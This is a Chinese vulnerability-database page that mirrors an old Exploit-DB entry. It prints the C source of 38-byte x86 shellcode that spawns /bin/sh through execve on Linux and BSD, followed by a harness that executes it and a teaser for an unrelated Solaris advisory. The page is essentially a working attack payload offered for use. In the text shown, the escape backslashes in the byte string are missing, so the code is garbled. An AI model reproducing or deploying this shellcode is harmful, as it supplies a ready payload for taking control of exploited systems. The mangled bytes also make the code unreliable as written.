BSD/x86 / Linux/x86 – execve(/bin/sh) Shellcode (38 bytes)

漏洞ID	1054596	漏洞类型
发布时间	2004-09-12	更新时间	2004-09-12
CVE编号	N/A	CNNVD-ID	N/A
漏洞平台	Multiple	CVSS评分	N/A

|漏洞来源

https://www.exploit-db.com/exploits/13469

|漏洞详情

漏洞细节尚未披露

|漏洞EXP

/*
 *  Linux/x86 and Bsd/x86
 *
 *   execve() of /bin/sh by dymitri!!!
 *
 */



#include <stdio.h>
char
code[] =
        "x31xc0"  
        "x50"                                 
        "x68x2fx2fx73x68"                  
        "x68x2fx62x69x6e"                  
        "x89xe3"                              
        "x50"                                 
        "x54"                                  
        "x53"                                  
        "x50"                                 
        "x8cxe0"              
        "x21xc0"             
        "x74x04"                                 
        "xb0x3b"              
        "xebx07" /* si es bsd saltamos los 7 bytes para llegar al int $0x80 */                       
        "xb0x0b"
        "x99"     /* En caso contrario si %fs es igual a 0 configuramos para que la ejecucion sea sobre linux */                  
        "x52"                          
        "x53"                         
        "x89xe1"                      
        "xcdx80";             
main()
{
  void (*s)() = (void *)code;
  printf("Shellcode length: %dnExecuting..nn",
      strlen(code));
  s();
}

// milw0rm.com [2004-09-12]

相关推荐: Solaris nss_nisplus.so.1 NIS+ Buffer Overflow Vulnerability

Solaris nss_nisplus.so.1 NIS+ Buffer Overflow Vulnerability 漏洞ID 1105021 漏洞类型 Boundary Condition Error 发布时间 1997-06-29 更新时间 1997-0…